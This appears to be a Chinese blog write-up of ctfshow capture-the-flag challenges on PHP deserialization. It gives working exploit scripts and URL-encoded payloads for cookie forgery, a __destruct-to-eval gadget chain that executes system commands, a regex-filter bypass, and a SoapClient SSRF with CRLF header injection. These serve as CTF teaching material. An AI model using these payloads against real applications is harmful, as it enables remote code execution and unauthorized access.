反序列化

折翼的小鸟先生發表於2024-04-25

反序列化

1.0序列化與反序列化

序列化:將物件轉化為陣列或者字串形式

反序列化:將字串或陣列轉化成物件格式

php與序列化和反序列化有關的函式

serialize() 將一個物件轉化為一個字串

unserialize() 將一個字串轉化為一個物件

我們使用序列化操作的目的是方便資料傳輸

1.1 漏洞產生原因

在php中存在魔術方法對物件進行一些操作,其他程式語言中也有類似的函式,比如建構函式或者解構函式之類,

如果我們對此類函式利用不當,就會有可能產生反序列化漏洞。

我們看一下serialize函式對物件處理的結果吧

O:8:"demotest":3{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man"'s:3"age";s:2:"29";}

O表示obiect 也就是物件 8表示類名有8個字元組成。後面的字串表示類名 3表示欄位數量,後面的s表示string

型別

1.2 ctfshow web 254

沒啥技術含量,甚至都和反序列化無關,直接閱讀程式碼按程式碼邏輯就能獲得flag

1.3 ctfshow web 255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上一題有了一點區別

我們先用serialize函式去輸出一個該類的序列化結果:O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}

我們需要注意的是,發現整個檢測程式碼中沒有更改isVip的值的過程,所以我們需要手動對序列化後isVip的值進行

更改,以便透過檢測,具體的更改就是將最後的0改為1

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}

需要注意的是,我們透過cookie傳遞資料時需要預先進行url編碼,編碼後可以在瀏覽器中寫入cookie,也可也抓

包然後在header中寫入cookie

我們先採用第二種方式來構造payload:

Cookie : user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

1.4 ctfshow web 256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上一題沒什麼區別,只不過是要求username 和password的值不能相等罷了

<?php
class ctfShowUser
{
    public $username = '111';
    public $password = '222';
    public $isVip = true;

    public function checkVip()
    {
        return $this->isVip;
    }
    public function login($u, $p)
    {
        return $this->username === $u && $this->password === $p;
    }
    public function vipOneKeyGetFlag()
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {
            echo "no vip, no flag";
        }
    }
}
$a = new ctfShowUser();
echo serialize($a);
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

獲得序列化的物件:O:11:"ctfShowUser":3:{s:8:"username";s:3:"111";s:8:"password";s:3:"222";s:5:"isVip";b:1;}

進行url編碼:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

然後在cookie中以user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

的形式傳送資料包即可獲得flag

ctfshow web 257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

和之前的題有了較大的差別,第一時間似乎沒什麼思路,但是我們看見了eval函式,考慮rce,仔細觀察整個代

碼,發現存在一條利用鏈,ctfShowUser類中析構方法可以呼叫class屬性的getInfo()方法,我們讓class屬性變為

一個物件即可呼叫該物件的getInfo()方法,下面兩個類都有getInfo()方法,但我們想要實現rce只能去使用

backDoor類的方法,然後我們更改code值,就可以實現rce。

根據此原理我們可以寫出exp:

<?php
class ctfShowUser
{
    private $class;
    public function __construct()
    {
        $this->class = new backDoor();
    }
}
class backDoor
{
    public $code = "eval(\$_GET['a']);";
}
$a = new ctfShowUser();
echo serialize($a);

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7D%7D

獲得獲得序列化後的物件,傳入cookie後在url中傳入username password 和a,前兩者都無所謂,透過控制第三

者,傳入a=system('tac flag.php');從而獲得flag

這裡需要強調的一點:直接給code傳入"$_GET['a']"是不行的,因為存在$使其會被解析為變數

如果我們進行轉義\$_GET['a']則在程式碼處遇到第一次eval進行解析,只會單純解析為字串,並不會當成程式碼

去解析,我們在exp這樣傳入eval(\$_GET['a']); 再加上一個eval,使得其對\$_GET['a']進行二次解析,第

一次將其解析為字串$_GET['a'],第二次將其作為可執行程式碼進行執行,從而達到程式碼執行的效果。

ctfshow web 258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

本題的過濾進行了加強,對該正規表示式的內容進行了過濾:/[oc]:\d+:/i

  1. 字元類 [oc]: 方括號 [] 定義了一個字元類,表示匹配其中任何一個字元。這裡的字元類包含兩個字元:oc。因此,這個部分會匹配字串中出現的 oc
  2. 冒號 : 字元 : 在正規表示式中作為一個普通字元出現,直接匹配字串中的冒號。
  3. \d+\d 是一個元字元,代表任何十進位制數字(相當於 [0-9])。+ 是一個量詞,表示前面的元素(這裡是 \d)至少出現一次,可以連續出現多次。因此,\d+ 會匹配一個或多個連續的數字。

但在php中,對於序列化後的串中都含有字元+:+數字,之前的串就無法順利使用,這時候應該怎麼辦呢?

在php中還有個特性,那就是在序列化後的串,比如O:8:部分,在數字前加+不會影響解析,因此本題就有了繞

過方式,即在序列化後的字串中,匹配:加數字的形式,然後在數字前加+進行替換,之後再進行url編碼即可,

其餘部分和上一題一樣

給出exp:

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace('O:', 'O:+',$ctf);
echo $ctf;
echo urlencode($ctf);

但需要注意,本題類中欄位的訪問修飾符發生變換,由private變為public,如果同一個物件,擁有相同的欄位,

但欄位的訪問修飾符不同,序列化後的結果也會不同,所以本題的exp和之前有區別,這需要注意。

ctfshow web 259

本題目錄下有兩檔案 index.php有:

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php有:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

先對flag.php的一些內容進行解釋,exoloade是一個分割字串的函式,用法為:explode(字元,被分割的字元

串), 會將第二個引數傳入的字串以第一個傳入的引數為分割符,分割成好幾部分,然後返回一個儲存分割後

的結果的陣列,HTTP_X_FORWARDED_FOR儲存了從客戶段上傳輸資料過來的一個個代理轉發節點的ip

我們的目的是讓flag.php將flag寫入flag.txt。所以我們就要去繞過其檢測,最關鍵的是繞過

HTTP_X_FORWARDED_FOR的檢測,試著改下HTTP_X_FORWARDED_FOR去訪問,發現不行,應為使用了

Cloudflare,偽造無效,我們再觀察index.php檔案,發現其呼叫了一個不存在的方法getFlag()這時候就可以考慮使

用php原生類進行ssrf了

本題需要用到php原生類,php原生類就是php自帶的類,不需要使用者去定義就能直接使用

我們這裡學習一下這篇部落格:這個

<?php
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php'));
$client->AAA();
?>

對於內建類SoapClient的建構函式:

第一個引數 :$wsdl: 必須引數,指定 SOAP 服務的 WSDL(Web Services Description Language,Web 服務

描述語言)文件的 URL。WSDL 檔案定義了服務的介面、操作、資料型別等資訊,使客戶端能夠自動發現並使用

服務提供的功能。如果提供有效的 WSDL 地址,SoapClient 將基於 WSDL 自動構建請求並解析響應。

第二個引數中uri用於指定服務的名稱空間(namespace)或服務的基 URI(base URI)

location用於對其發起請求,利用此引數來進行ssrf操作,訪問flag.php

我們對本地進行9999埠監聽,檢視一下header:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

我們可以透過控制user-agent來構造post資料

我們再進一步

<?php

$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

echo urlencode(serialize($client));
?>

看一下:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因為本地沒加函式
Content-Type:application/x-www-form-urlencoded
Content-Length: 13

token=ctfshow//長度13 下面的丟棄
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

符合預期,然後我們只需要序列化然後將構造的物件傳入即可

相關文章